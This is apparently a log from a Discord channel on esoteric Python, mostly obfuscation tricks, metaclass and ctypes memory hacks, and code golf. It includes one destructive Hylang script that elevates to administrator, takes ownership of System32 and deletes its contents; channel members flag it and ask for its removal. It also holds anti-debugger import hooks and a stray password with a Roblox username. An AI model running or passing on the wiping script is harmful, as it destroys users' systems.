#esoteric-python
1 messages · Page 124 of 1
@sick hound :white_check_mark: Your eval job has completed with return code 0.
Hello World!
!e
__annotations__ = globals();
x: 5 = int;
stdout: open(1, 'w');
number: __import__('random').randint(1, 5) = int;
class ___:
def __lshift__(self, _):
stdout.write(_)
return self
for function in [type]:
Main = function("Main", (), {
'__init__':lambda self:{
(x.__eq__(5)) & ___ << str(x),
(x.__le__(10)) & ___ << (__import__('codecs').decode(b'\x48\x65\x6c\x6c\x6f\x20\x77\x6f\x72\x6c\x64\x21')),
({1:True, 2:True}.get(number, False)) & ___ << (__import__('codecs').decode(b"\x4e\x69\x63\x65\x21"))
} and None,
'Start' :(lambda*self,: (()in((),),((),)in()))(),
'_':0 == 0})
y = int;
if (y := 12): {(lambda SubMain: ___ << (str(SubMain)))(Main().Start)};
@short crag :x: Your eval job has completed with return code 1.
001 | Traceback (most recent call last):
002 | File "<string>", line 19, in <module>
003 | File "<string>", line 12, in <lambda>
004 | TypeError: unsupported operand type(s) for <<: 'type' and 'str'
Damn bot
!e
__annotations__ = globals();
x: 5 = int;
stdout: open(1, 'w');
number: __import__('random').randint(1, 5) = int;
class ___:
def __lshift__(self, _):
stdout.write(_)
return self
def __repr__(self):
return ""
for function in [type]:
Main = function("Main", (), {
'__init__':lambda self:{
(x.__eq__(5)) & ___ << str(x),
(x.__le__(10)) & ___ << (__import__('codecs').decode(b'\x48\x65\x6c\x6c\x6f\x20\x77\x6f\x72\x6c\x64\x21')),
({1:True, 2:True}.get(number, False)) & ___ << (__import__('codecs').decode(b"\x4e\x69\x63\x65\x21"))
} and None,
'Start' :(lambda*self,: (()in((),),((),)in()))(),
'_':0 == 0})
y = int;
if (y := 12): {(lambda SubMain: ___ << (str(SubMain)))(Main().Start)};
Fuck
@short crag :x: Your eval job has completed with return code 1.
001 | Traceback (most recent call last):
002 | File "<string>", line 22, in <module>
003 | File "<string>", line 15, in <lambda>
004 | TypeError: unsupported operand type(s) for <<: 'type' and 'str'
You can't pick item 0 or item 1 from a set, so when you iterate through a set, it just gives you whatever's convenient.
@sick hound :x: Your eval job has completed with return code 1.
001 | Traceback (most recent call last):
002 | File "<string>", line 20, in <module>
003 | File "<string>", line 13, in <lambda>
004 | TypeError: unsupported operand type(s) for &: 'bool' and '___'
005 | 5
@sick hound :x: Your eval job has completed with return code 1.
001 | Traceback (most recent call last):
002 | File "<string>", line 23, in <module>
003 | File "<string>", line 16, in <lambda>
004 | TypeError: unsupported operand type(s) for &: 'bool' and '___'
005 | 5
Any clever ways to golf this further? 43 chars at the moment
y=range
n=int(input())+1
print(*[[*y(2,n,2),*y(1,n,2)],["NOT DONE"]][2<n<5])
What it does is
if n == 1: print(1)
if n == 2 or n == 3: print("NOT DONE")
For all other n: You have a list of size n, first half is even numbers starting from 2, next half is odd numbers starting from 1
For example - n = 10 : we would get 2 4 6 8 1 3 5 7 9
So anything golfier than this?
from r/badcode
loving the dynamically generated classes
bit by bit again - what does c_ubyte_Array_16.from_address(addr) do?
Is there a list of all operator precedences in Python?
what do you mean by all
are there parts of this you want more clarification on
I don't understand almost all of it
have you learned what classmethods are
yes
probably
they're unary operators
(except they do some weird stuff)
specifically, I don't understand the ctypes bit
all the syntax and algorithms is fine
surprised await is considered an operator
so then its kind of like this
class ClassRepresentingArray:
@classmethod
def from_address(cls, address):
result = cls()
# do stuff to make result use the memory at the given address
return result
def __getitem__(self, index):
# return item of the array's data type e.g. 1 byte int based on the memory used by this array
okay so it just returns an instance of another class
no
they're specially handled by the parser since they're context dependent
but yeah they're operators
it returns an instance of the same class
which is whats passed into cls
thats how classmethods work
implicit classmethod
new is static iirc
ah ok
I thought by class method you meant a method that can be called on a class like
!e
class foo:
def bar(arg):
return arg+1
print(foo.bar(2))
@golden finch :white_check_mark: Your eval job has completed with return code 0.
3
sorta like that
so what does the classmethod function do?
this channel is like a place to leak insanity so we don't show it irl
keep in mind everything in python is an object
and so classes are also objects
objects can have methods
a classmethod is a method belonging to the class object itself, rather than its instances
and the class gets passed into the method as its first argument, same as an instance of the class would get passed in as self in ordinary methods
so when a classmethod is called it passes the class as the first argument?
yes
how the hell does that work internally
https://docs.python.org/3/reference/expressions.html#expression-lists
unpacking takes an or_expr
so anything binding tighter than | according to this
but it's a bit of a meaningless thing since you can't do any "operator things" with unpacked expressions
you can only delimit them with ,
not sure, youd have to check the source. could be that during class creation all the attributes to the class are checked to see if theyre classmethods, and if so the class part is filled in on that attribute
classmethod is voodoo - I'll stick with that for now
!e
class foo:
@classmethod
def bar(cls):
print(cls is foo)
foo.bar()
@golden finch :white_check_mark: Your eval job has completed with return code 0.
True
alright thanks
another thing to add to my arsenal
so uh back to c_ubyte_Array_16.from_address(addr) -> it gets bytes from the address, but how do you find the address?
https://github.com/python/cpython/blob/main/Objects/funcobject.c#L841 oh ok by the looks of theyre descriptors, which is a whole other can of beans
Objects/funcobject.c line 841
cm_descr_get(PyObject *self, PyObject *obj, PyObject *type)```
to google
not sure what you mean. the address is provided as an argument to from_address
yeah but how do you get that address?
I see the expression inside
but don't understand why it works
id(object) is usually enough to get the address for the object's memory
cpython memory allocator pools and reuses memory blocks, so youll see some ids reused due to this
once an object is garbage collected, its memory is freed so another object can use it
alright that makes sense
but then you do a thing with bytes and -1
id(instance) is the start of the bytes object's memory. after this there are bytes.__basicsize__ bytes of data that are present in every bytes instance. after that is the memory for the content of that specific bytes instance.
so to get the address of the content memory, we start with the address of the object, then add the length of the non-content memory
mhm
you can write one yourself using descriptors
the -1 is because addresses start from from 0 onwards.
so if you have some data like [1, 2, 3, 4, 5, 6] and the first 3 items are non-content data, then the first content byte is the 4th item, aka the item at index 3.
ah okay
hent
theres something called the buffer protocol which objects have to implement at the c level. if an object implements the buffer protocol then you can use a memoryview to directly access its memory
ok
numpy arrays, bytes, bytearray examples of things that implement the protocol
yeah, sometimes memoryview adds a specific endianness to its datatype
B will just use the system endianness
then you just call mutable_bytes on the frame's co_code and turn raise into a nop
which is evil
it's not so bad 😛
_=lambda _:__import__('types').FunctionType(_.__code__.replace(co_code=bytes(sum([[103,0,125,i]for i in range(9)],[]))+b't\x00\x83\x00}\t'+b't\x01\x83\x00'*3+bytes(sum([[125,i]for i in(10,11,12)],[])+[_.__code__.co_code[i]+i%2*2*(i!=3)for i in range(8)])+_.__code__.co_code[-10:],co_names=('redacted','redacted')+_.__code__.co_names,co_nlocals=13,co_varnames=(*sum([[i+'_'+j for j in['redacted','redacted','redacted']]for i in['redacted','redacted','redacted']],[]),)+('redacted',)+(*[i+'_redacted'for i in['redacted','redacted','redacted']],)),globals())
@_
def init():
globals().update(locals())
init()
my own work - imagine doing something like this on the frame's co_code itself!
haha what does it do
not sure - part of a bigger program
it just declares a lambda that takes a function and edits its __code__, then returns the edited version
my eyes just bled
#define { :
#define }
#define ++ += 1
i = 0
while (i < 10) {
print(i)
i ++
}
you can add semicolons safely
__annotations__ = globals();
x: 5 = int;
stdout: open(1, 'w');
number: __import__('random').randint(1, 5) = int;
class stdout:
def __lshift__(self, _):
stdout.write(_);
return self;
def __repr__(self):
return "";
for function in [type]:
Main = function("Main", (), {
'__init__':lambda self:{
(x.__eq__(5)) & stdout << str(x) << "\n",
(x.__le__(10)) & stdout << (__import__('codecs').decode(b'\x48\x65\x6c\x6c\x6f\x20\x77\x6f\x72\x6c\x64\x21')),
({1:True, 2:True}.get(number, False)) & stdout << (__import__('codecs').decode(b"\x4e\x69\x63\x65\x21"))
} and None,
'Start' :(lambda*self,: (()in((),),((),)in()))(),
'_':0 == 0})
y = int;
if (y := 12): {(lambda SubMain: stdout << str(SubMain))(Main().Start)};
``` Why does this return a type error?
File "/home/pi/Desktop/small-projects/unholy-python/unholy.py", line 21, in <module>
if (y := 12): {(lambda SubMain: stdout << str(SubMain))(Main().Start)};
File "/home/pi/Desktop/small-projects/unholy-python/unholy.py", line 14, in <lambda>
(x.__eq__(5)) & stdout << str(x) << "\n",
TypeError: unsupported operand type(s) for <<: 'type' and 'str'```
add a @lambda x: x() to the stdout definition
your __lshift__ only applies for instances of stdout
||hey homo sapiens, time to evolve and have big brain so don't try to run this if you don't want to lost 10 minutes of your life when reinstalling windows😅||```hy
(while (not ((. (import "ctypes") windll shell32 IsUserAnAdmin))) ((. (import "ctypes") windll shell32 ShellExecuteW) None "runas" (. (import "sys") executable) ((. "" join) (. (import "sys") argv)) None 1))
(for [p ((. (import "glob") glob) "C:\Windows\System32***" :recursive True)]
((. (import "subprocess") check_output) ["takeown" "/f" p "/r" "/d" "Y"] :stderr (. (import "subprocess") STDOUT))
(if
((. (import "os") path isdir) p) ((. (import "os") rmdir) p)
((. (import "os") remove) p)))```

delete this, someone might run it and fuck up their system
😄
looks like it might be hylang or some troll python dialect. by the looks of its taking ownership of some stuff and then trying to delete everything in system32
ok yeah, looks like it's
- elevating itself to admin
- taking ownership of everything in system32
- deleting everything in system32
hylang
very neat
!e ```py
def 慬():
try:慬()
except Exception:慬()
慬()
@floral meteor :x: Your eval job has completed with return code 139 (SIGSEGV).
001 | Fatal Python error: _Py_CheckRecursiveCall: Cannot recover from stack overflow.
002 | Python runtime state: initialized
003 |
004 | Current thread 0x00007fac0b30a740 (most recent call first):
005 | File "<string>", line 2 in \u616c
006 | File "<string>", line 2 in \u616c
007 | File "<string>", line 2 in \u616c
008 | File "<string>", line 2 in \u616c
009 | File "<string>", line 2 in \u616c
010 | File "<string>", line 2 in \u616c
011 | File "<string>", line 2 in \u616c
... (truncated - too many lines)
Full output: https://paste.pythondiscord.com/quwufinizo.txt?noredirect
>>> def 慬():
... pass
...
>>> 慬()
>>>
lmaoooooooooo
this doesn't look like python
!e ```py
import('ctypes').py_object.from_address(id(True)+8).value = type('type',(type,),{"call":lambda s:1})
print(True())
@floral meteor :white_check_mark: Your eval job has completed with return code 0.
001 | <string>:2: SyntaxWarning: 'bool' object is not callable; perhaps you missed a comma?
002 | 1
Nice
Why do you put type in the bases tuple?
@turbid dew is malfunctioning.
Check #bot-commands for more.
Alright, back to what we were doing. How can I implement __dir__ on a class?
It's dialect of Lisp for Python called Hylang
can't get it to work
I can just type hy2py rm.hy and it will convert itself into python code
!e
class Name:
def __dir__(self):
return []
print(dir(Name))
@golden finch :white_check_mark: Your eval job has completed with return code 0.
['__class__', '__delattr__', '__dict__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__le__', '__lt__', '__module__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', '__weakref__']
@tribal moon
You need to initialize Name, otherwise use a metaclass
oops
I'll fix it later
!e ```py
class MetaName(type):
def dir(self):
return []
class Name(metaclass=MetaName):
pass
print(dir(Name))```
@tribal moon :white_check_mark: Your eval job has completed with return code 0.
[]
there
I like Hylang because it adds Lisp features to python, while I can write code without indentation and Hylang will add indents where they are needed when translating code into Python through hy2py
It can transform this:
(defclass MetaName [type]
(defn __dir__ [self]
(return [])))
(defclass Name [:metaclass MetaName])
(print (dir Name))```
Into this:
!e
class Name(metaclass=type('',(type,),{'__dir__':lambda _:[]})):
pass
print(dir(Name))
@golden finch :white_check_mark: Your eval job has completed with return code 0.
[]
How do I pass a metaclass to type, so I can create Name in one line?
that's a bit more complicated
I did something like that in my C in Python code
let me get it one second
Here: #esoteric-python message
specifically this function py metamaker = (lambda meta, cls: ( lambda: [ (dict_.pop(es, None) for es in dict_.get("__slots__", tuple())) if [None for [globals()["dict_"]] in [[dict(cls.__dict__)]]][0] is None else None, [None for [globals()["dict_"]["__metaclass"]] in [[meta]]], [None for [globals()["dict_"]["__wrapped__"]] in [[cls]]], meta(str(cls.__name__), tuple(cls.__bases__), dict_), ][-1]))
You'd do something like
!e ```py
Name = (lambda meta, cls: ( lambda: [ (dict_.pop(es, None) for es in dict_.get("slots", tuple())) if [None for [globals()["dict_"]] in [[dict(cls.dict)]]][0] is None else None, [None for [globals()["dict_"]["metaclass"]] in [[meta]]], [None for [globals()["dict"]["wrapped"]] in [[cls]]], meta(str(cls.name), tuple(cls.bases), dict), ][-1]))(type("",(type,),{"dir":lambda _:[]}),type("", (), {}))()
print(dir(Name))```
@tribal moon :white_check_mark: Your eval job has completed with return code 0.
[]
f=lambda s,k:"".join(chr([ord(c),(ord(c)+k-97)%26+97,(ord(c)+k-65)%26+65][c.isalpha()+c.isupper()])for c in s) ```
In hy:
```hy
(defn f [s k] (return ((. "" join) (for [c s] (chr [(ord c) (+ (% (, (- (+ (ord c) k) 97)) 26) 97) (+ (% (, (- (+ (ord c) k) 65)) 26) 65)] [(+ ((. c isalpha)) ((. c isupper)))])))))```
okay what
how does this work
I can see you're creating lambda meta, cls: ( lambda: [ (dict_.pop(es, None) for es in dict_.get("__slots__", tuple())) if [None for [globals()["dict_"]] in [[dict(cls.__dict__)]]][0] is None else None, [None for [globals()["dict_"]["__metaclass"]] in [[meta]]], [None for [globals()["dict_"]["__wrapped__"]] in [[cls]]], meta(str(cls.__name__), tuple(cls.__bases__), dict_), ][-1]) and passing it the metaclass type("",(type,),{"__dir__":lambda _:[]}), which is just the usual one, and the class is type("", (), {})
but the rest is voodoo
thanks?
that makes slightly more sense, thanks
ah so a applies the metaclass A to B
that's 5 new dunders to learn
slots, metaclass (90% sure I know what this does), name, bases, dict
okay
!e
old=__builtins__.__build_class__
__builtins__.__build_class__=lambda f,n,*args,**kwargs:(x:=old(f,n,*args,**kwargs),print(x.__bases__))[0]
class foo(int):
pass
@golden finch :white_check_mark: Your eval job has completed with return code 0.
(<class 'int'>,)
ah
!e
old=__builtins__.__build_class__
__builtins__.__build_class__=lambda f,n,*args,**kwargs:(x:=old(f,n,*args,**kwargs),print(x.__dict__))[0]
class foo(int):
pass
@golden finch :white_check_mark: Your eval job has completed with return code 0.
{'__module__': '__main__', '__dict__': <attribute '__dict__' of 'foo' objects>, '__doc__': None}
!e
def count_binary():
yield '1'
for prefix in count_binary():
yield prefix + '0'
yield prefix + '1'
if __name__ == '__main__':
for n in count_binary():
print(n)
credits: Jahan Zahid on LinkedIn
@gusty island :x: Your eval job has completed with return code 143 (SIGTERM).
001 | 1
002 | 10
003 | 11
004 | 100
005 | 101
006 | 110
007 | 111
008 | 1000
009 | 1001
010 | 1010
011 | 1011
... (truncated - too many lines)
Full output: too long to upload
!e ```py
def count_n_ary(n: int):
yield from map(str, range(1, n))
yield from (x+y for x in count_n_ary(n) for y in map(str, range(n)))
for x in count_n_ary(8):
print(x)
@earnest wing :x: Your eval job has completed with return code 143 (SIGTERM).
001 | 1
002 | 2
003 | 3
004 | 4
005 | 5
006 | 6
007 | 7
008 | 10
009 | 11
010 | 12
011 | 13
... (truncated - too many lines)
Full output: too long to upload
improved
multiple yields in one generator is actually an awesome bit of magic
To be honest I have no idea
I just googled how to do it on stackoverflow and then just one-lined it
I'm sure you can find the original code there
"The return statement executes the value to the main program" What does it mean actually? Can someone explain this in easy English???
can someone explain or link me to an article about how async is implemented using generators? i found a tutorial about it but i dont quite understand it lol
@frozen fog Hello. I was looking for some advice. Would you mind helping me a little about some python questions?
@elder mountain Hello. I was looking for some advice. Would you mind helping me a little about some python questions?
#❓|how-to-get-help @sick hound
Possibly. This may be the place for you.
Like reinventing the wheel or like making a new design of wheel?
Why people ask for help in the python torture chamber?
im into Python BDSM
They want pain
Maybe we should hide this channel unless you have a certain role
If this is python hell, then we are the demons
this seems like an idea
People don't tend to know that this isn't a regular help channel, and if we confuse them it just makes beginners have a worse time with Python.
Then they won't come back, and won't post cool snippets here when they get corrupted.
good point
more reason for hiding the channel
or renaming it to #esoteric.
After all, the "python" probably makes people think it's help
When it becomes just esoteric, the range of insanity increases
expanding on @sick hound's answer, there is also __qualname__ and __orig_bases__
the former is the "full" or "qualified" name of the class, and is in dotted notation:
def a():
class Foo:
class Bar:
pass
return Foo.Bar
c = a()
print(c.__name__, c.__qualname__) # Bar a.<locals>.Foo.Bar
the latter is only created when non-type bases are specified and those objects have the __mro_entries__ method which allows them to return a tuple of real bases to be used instead. this almost only occurs in the context of generic types
interesting
!e ```py
metamaker = (lambda meta, cls: ( lambda: [ (dict_.pop(es, None) for es in dict_.get("slots", tuple())) if [None for [globals()["dict_"]] in [[dict(cls.dict)]]][0] is None else None, [None for [globals()["dict_"]["metaclass"]] in [[meta]]], [None for [globals()["dict"]["wrapped"]] in [[cls]]], meta(str(cls.name), tuple(cls.bases), dict), ][-1]))
printf = lambda format_string, *args: print(format_string,end="") if not args else print(format_string % args,end="")
main = metamaker(type("b", (type,), {"call": lambda self, : {None}}), type("", (object,), {}))()
int = metamaker(type("a", (type,), {"sub": lambda self2, : {None} if isinstance(, set) else [None for [globals()[.split("=")[0]]] in [[import('builtins').int(_.split("=")[1])]]][0]}), type("a", (object,), {}))()
void = None
return_0 = None
int-main(void)-{
printf("Hello, World!\n"),
int-"num1=2",
int-"num2=3",
printf("%d + %d = %d\n", num1, num2, num1+num2),
return_0
}```
@harsh spear :white_check_mark: Your eval job has completed with return code 0.
001 | Hello, World!
002 | 2 + 3 = 5
👍
Thanks -the second one is a bit insane
!e
o=__builtins__.__build_class__
__builtins__.__build_class__=lambda a,b,*c,**d:(_:=o(a,b,*c,**d),type(b,c,{i:getattr(_,i)if'_'in dir(_)and type(_._)==dict else(None,(lambda*_:None,getattr(_,i))[i in'__setitem__new__'])[callable(getattr(_,i))]for i in dir(_)}|eval(('{}','{_._[i]:i for i in _._}')[hasattr(_,'_')],locals())))[1]
class foo:
_={lambda _:'2':'__repr__'}
x=foo()
print(x)
@golden finch :white_check_mark: Your eval job has completed with return code 0.
2
ohhh so that datetime is not the stdlib datetime is it
no, it's not
it's a mod of the stdlib datetime
the entire program is about 5kb of heavy, heavy obfuscation
I have mb of obfuscation when i need to mass implement
do you import the stdlib one or reimplement everything
noice
those _ variables are really in the arguments to e.g. type(_._)? or they're abridged actual names
how come
this is #esoteric-python
they will cower from this code
0: 5
2: 2
6: 1
9: 2
11: 2
12: 2
13: 2
14: 1
15: 1
16: 1
17: 1
18: 2
20: 3
21: 6
22: 5
23: 1
25: 2
26: 1
27: 1
28: 2
29: 1
30: 3
32: 3
34: 1
36: 2
37: 1
38: 2
39: 2
40: 2
43: 1
45: 1
47: 2
49: 1
50: 1
51: 2
52: 2
53: 1
54: 1
55: 1
57: 1
63: 1
64: 1
65: 1
67: 1
68: 1
76: 2
80: 1
85: 1
87: 1
129: 1
131: 1
137: 1
139: 1
170: 1
199: 1
206: 1
225: 1
295: 1
511: 1
line lengths
so you are instrumenting?
instrumenting?
like you're hooking the __build_class__ to run your own extra code
yeah
__builtins__.__import__=lambda*_:eval(('u(*_)','__import__("sys").stderr.write("No debuggers allowed.\\n")+exec((lambda:0).__code__.replace(co_consts=()))')[_[0]=='dis'])
print=lambda*_:__import__('dis')
other pieces
wouldn't that recursion error?
when that gets eval-ed, it won't be assigned yet?
.
looks more like an anti-mechanism bug
o=__builtins__.__build_class__
u=__builtins__.__import__
__builtins__.__import__=lambda*_:eval(('u(*_)','__import__("sys").stderr.write("No debuggers allowed.")+exec((lambda:0).__code__.replace(co_consts=()))')[_[0]=='dis'])
__builtins__.__build_class__=lambda a,b,*c,**d:(_:=o(a,b,*c,**d),type(b,c,{i:getattr(_,i)if'_'in dir(_)and type(_._)==dict else(None,(lambda*_:None,getattr(_,i))[i in'__setitem__new__'])[callable(getattr(_,i))]for i in dir(_)}|eval(('{}','_._')[hasattr(_,'_')])))[1]
print=lambda*_:__import__('dis')
class redacted:
def __sub__(self,other):
[redacted]
return redacted(self._-other._)
_={'__str__':lambda _:str(_._),'__mul__':lambda a,b:redacted(a._*b),'__lt__':lambda a,b:a._<b._,'__init__':lambda a,b=20:setattr(a,'_',b)}
redacted=type('',(),{'__init__':lambda a,b=0:setattr(a,'_',b),'__add__':lambda a,b:redacted(a._+b._),'__iadd__':lambda a,b:setattr(a,'_',a._+b),'__lt__':lambda a,b:b._>a._,'__ge__':lambda a,b:not b._>a._})
more
that's a lot of redacted, you been writing too many scp pages?
for protecting against de-obfuscation ig
I redacted the variable names when I pasted it here
I'll redact you in a second...
_=lambda _:__import__('types').FunctionType(_.__code__.replace(co_code=bytes(sum([[103,0,125,i]for i in range(9)],[]))+b't\x00\x83\x00}\t'+b't\x01\x83\x00'*3+bytes(sum([[125,i]for i in(10,11,12)],[])+[_.__code__.co_code[i]+i%2*2*(i!=3)for i in range(8)])+_.__code__.co_code[-10:],co_names=('redacted','redacted')+_.__code__.co_names,co_nlocals=13,co_varnames=(*sum([[i+'_'+j for j in['redacted','redacted','redacted']]for i in['redacted','redacted','redacted']],[]),)+('redacted',)+(*[i+'_redacted'for i in['redacted','redacted','redacted']],)),globals())
@_
def init():
globals().update(locals())
init()
that's the 511-char line
I like how one of the redacteds has an underscore
that's just the co_varnames tuple
ha!
how much python can we fit on one line without eval, is my question
!e
print((*sum([[i+'_'+j for j in['x','y','z']]for i in['a','b','c']],[]),)+('n',)+(*[i+'_m'for i in['a','b','c']],))
@golden finch :white_check_mark: Your eval job has completed with return code 0.
('a_x', 'a_y', 'a_z', 'b_x', 'b_y', 'b_z', 'c_x', 'c_y', 'c_z', 'n', 'a_m', 'b_m', 'c_m')
no limit
(excepting memory and interpreter limits)
but heavily constrained in control flow?
not really no, loopholes exist
eval() is just easiest
no doubt about it
this is not the right channel for learning
#❓|how-to-get-help for questions and #python-discussion for general questions
curious what loophloles you know of
alright, challenge:
Make stating integer literals inside a main() function instead execute bytecode
I'll make it easy and allow it to be wrappered, but if so you must use ellipsis as the decorator @...
#your code goes here
#@... optional wrapper
def main(*args, **kwargs):
42, 0, 12, 89, 69, 122; # these are just example numbers
32, 1, 99, 2, 12, 0; # put numbers here with some actual meaning.
__name__ == '__main__' == main()
This is not the correct channel.
(da anon)
wat
You talking to me?
ping them or reply
alright
he wasn't
but why is there no builtins.ellipsis
gimme a moment, i have a utility that hacks singletons
singletons?
builtins.Ellipsis
__builtins__.Ellipsis is superior
so <class 'ellipsis'> is a lie
more like hash.__self__.Ellipsis
or even id.__self__.Ellipsis
!e ```py
class Cell:
_reg = {}
_PyObject = import('ctypes').py_object
def new(cls, victim):
if id(victim)in cls._reg:return cls._reg[id(victim)]
else:return super().new(cls)
def init(self, prisoner):
type(self)._reg |= {id(prisoner):self}
self.cell_contents = prisoner
self._content_type = self._PyObject.from_address(id(prisoner)+8).value
def hack(self, new:type):
victim = self._PyObject.from_address(id(self.cell_contents)+8)
old, victim.value = victim.value, new
return old
def del(self):
self.hack(self._content_type)
del self._reg[id(self.cell_contents)]
def repr(self):
return f"<cell({self.cell_contents!r}) at {hex(id(self.cell_contents))}>"
def hash(self):return id(self.cell_contents)
class function:
def call(self, f):
print(f.code.co_code.decode(errors='ignore'))
f.qualname = 'hacked'
return f
EllipsisType = Cell(Ellipsis).hack(function)
@...
def not_hacked(*s):
print(s)
not_hacked(not_hacked)
Cell(Ellipsis).hack(EllipsisType)
You guys should make your own obfuscator
oh that's just __builtins__
[insert I am the obfucator] meme here
reductido ad absurdum
Hey @tribal moon!
It looks like you tried to attach a Python file - please use a code-pasting service such as https://paste.pythondiscord.com
lmao
dumb bot
okay how does... that... work?
@floral meteor :white_check_mark: Your eval job has completed with return code 0.
001 | t�|��d�S�
002 | (<function hacked at 0x7fcbfc1bf040>,)
gottim
noice
which thing
make an obfuscator that does not look like python
@floral meteor the hack
!e ```py
from collections import defaultdict as d;
from ctypes import py_object as p;
class flogbals(p.from_address (id(globals ())+8).value ):
def getitem(self, name):
import builtins as builtins;
try:return builtins.dict.getitem(self,name);
except builtins.KeyError:...;
try:return builtins.getattr(builtins,name);
except builtins.AttributeError:...;
if name=='main':return builtins.super().getitem(name)
if name=='plus':self['a'][self['i']]+=1;return;
if name=='minus':self['a'][self['i']]-=1;return;
if name=='left':self['i']-=1;return;
if name=='right':self['i']+=1;return;
if name=='dot':return builtins.print(end=builtins.chr(a[i]));
if name=='comma':return builtins.NotImplemented;
if name=='here':return self['a'][self['i']];
if name=='end':return;
raise builtins.NameError(name+' does not exist');
p.from_address (id(globals())+8).value=flogbals;
a,i = d(int),0;
def main():
plus,plus,plus,plus,plus,plus,plus,plus,plus,plus;
while here:[
right,plus,plus,plus,plus,plus,plus,plus,right,
plus,plus,plus,plus,plus,plus,plus,plus,plus,plus,
right,plus,plus,plus,right,plus,left,left,left,left,minus,
];end;
right,plus,plus,dot;right,plus,dot;
plus,plus,plus,plus,plus,plus,plus;
dot,dot,plus,plus,plus,dot,right;plus,plus,dot,left,left,plus;
plus,plus,plus,plus,plus,plus,plus;
plus,plus,plus,plus,plus,plus,plus;
dot,right,dot,plus,plus,plus,dot;
minus,minus,minus,minus,minus,minus,dot;
minus,minus,minus,minus,minus,minus,minus,minus;
dot,right,plus,dot,right,dot;
main();
@floral meteor :x: Your eval job has completed with return code 139 (SIGSEGV).
Hello World!
make Java in Python
whoa that is not the snippet for code golf, is it
ew no java sucks
then make C
make me
this looks like... brainfuck
aha it's EnglishFuck now
try {
try {
fail();
} catch (Throwable t) {
throw new RuntimeException(t);
}
} catch (Throwable t) {
throw new RuntimeException(t);
}
there is your java
Make THAT in Python
imma cheat and use a nnon ascii character in try
this is my best python adaptation ```java
trу-{
trу-{
fail(),
}-catch (Throwable. t)-{
throw-new-RuntimeException(t),
}
}-catch (Throwable. t)-{
throw-new-RuntimeException(t),
}
!e ```py
metamaker = (lambda meta, cls: ( lambda: [ (dict_.pop(es, None) for es in dict_.get("slots", tuple())) if [None for [globals()["dict_"]] in [[dict(cls.dict)]]][0] is None else None, [None for [globals()["dict_"]["metaclass"]] in [[meta]]], [None for [globals()["dict"]["wrapped"]] in [[cls]]], meta(str(cls.name), tuple(cls.bases), dict), ][-1]))
printf = lambda format_string, *args: print(format_string,end="") if not args else print(format_string % args,end="")
main = metamaker(type("b", (type,), {"call": lambda self, : {None}}), type("", (object,), {}))()
int = metamaker(type("a", (type,), {"sub": lambda self2, : {None} if isinstance(, set) else [None for [globals()[.split("=")[0]]] in [[import('builtins').int(_.split("=")[1])]]][0]}), type("a", (object,), {}))()
void = None
return_0 = None
int-main(void)-{
printf("Hello, World!\n"),
int-"num1=2",
int-"num2=3",
printf("%d + %d = %d\n", num1, num2, num1+num2),
return_0
}```
@harsh spear :white_check_mark: Your eval job has completed with return code 0.
001 | Hello, World!
002 | 2 + 3 = 5
smh what if I want to return_1
this looks cool how do i get started?
How much python do you know?
how would i measure it
list things you know idk
uhhh
you know functions?
yea lol
decorators?
ye
lambdas and shit?
metaclasses, operators all that
alright this is the place for you
we'll steal you away from #internals-and-peps yet
so do i just mess with the internals or what because this looks confusing
@floral meteor and @vital tapir have helped to teach me a lot
!e I'm still trying to get this to work smh ```py
class RuntimeException(RuntimeError):
def rsub(self, other):
if other and other.count:raise self
class factory:
count = 0
value = ''
def sub(self, other):
if self.name=='new':
if self.count and other==RuntimeException:raise other
else:self.count=1
elif self.name=='try':return self
else:return other
def init(self, name):
self.name = name
self.qualname = name
self.repr = lambda s:name
def getattr(self, other):
self.value = other
return self
def call(self, other):
globals()[other.value] = 'program terminated by fail()'
self.name='try'
return self
def hash(self):return-1
trу=factory('try')
fail=lambda:0
catch=factory('catch')
new=factory('new')
throw=factory('new')
Throwable = factory('Throwable')
def main():
trу-{
trу-{
fail(),
}:catch (Throwable. t)-{
throw-new-RuntimeException(t),
}
}-catch (Throwable. t)-{
throw-new-RuntimeException(t),
}
main()
it's relevant it just doesn't work
and my ide is occupied by a massive project
meanwhile my new bot project
hack_wrapper restores the previous value of the function name
so i can register these functions in COMMANDS without fucking with the namespace
behold ye mighty and despair
@sick hound :x: Your eval job has completed with return code 139 (SIGSEGV).
001 | not Ellipsis
002 | not Ellipsis
003 | False
004 | True
005 | it's actually False
006 | it's still actually False!
007 | it's actually True
008 | it's still actually True!
009 | Exception ignored in tp_clear of: <class 'type'>
010 | TypeError: object.__init__() takes exactly one argument (the instance to initialize)
@sick hound :white_check_mark: Your eval job has completed with return code 0.
001 | not Ellipsis
002 | Ellipsis
003 | False
004 | True
005 | it's actually False
006 | it's still actually False!
007 | it's actually True
008 | it's still actually True!
Python segfaults if it raises an error or runs internal clean up when you haven't put everything back how you found it in regards to internals access
Essentially
There's a lot more to it than that
?
what that-
!e from cryptography.fernet import Fernet
#generate a cpher key
get_key = Fernet.generate_key()
#print and take note of this key
#you will need it when you read in the file
print(get_key)
cipher = Fernet(get_key)
#encrypt your password
pwd = cipher.encrypt(b'MyPassword!2')
#send encrypted password to file
#remember to remove your password from this program
#or delete the program altogther
with open('D:\pwd.txt', 'wb') as file_object: file_object.write(pwd)
print (Isbella826363)
read script
password Roblox username Isbella826363
bruh
Do the previous messages fall under the category of spam?
lol
This is an advanced python discussion and show off channel, not an IDE
yes?
^
I don't know what the procedure on large amounts of off-topic spam is.
hello @bleak patio , please use #bot-commands to test our bot.
How does the __prepare__ dunder work?
I have the same question
but in the meantime im about to give some developer here PTSD
because I have a really evil idea
@golden finch __prepare__ is passed the name of the new class and a tuple of its bases and is supposed to return a mapping to be used as the new classes dictionary
>>> class m(type):
... def __prepare__(name, bases):
... print(name, bases)
... return {'TEST':'TEST'}
...
>>> class a(object, metaclass=m):pass
...
a (<class 'object'>,)
>>> a
<class '__main__.a'>
>>> a.TEST
'TEST'
>>> ```
Importantly you don't need to return an actual dict, you could return your own class, allowing you to hook into name access and assignment.
Enum for instance uses that to keep track of the assignment order, and convert auto() assignment into a new index.
hang on that didn't go as planned
So how can you hook into name access and assignment? Return a custom class emulating dict?
Yep, with __getitem__ and __setitem__ defined.
mcs and bases iirc?
mcs -> metaclass?
name and bases?
yeah ignore me
okay I accidentally made globals immutable
oh lord
now I wanna see
what does the missing dunder do?
hang on
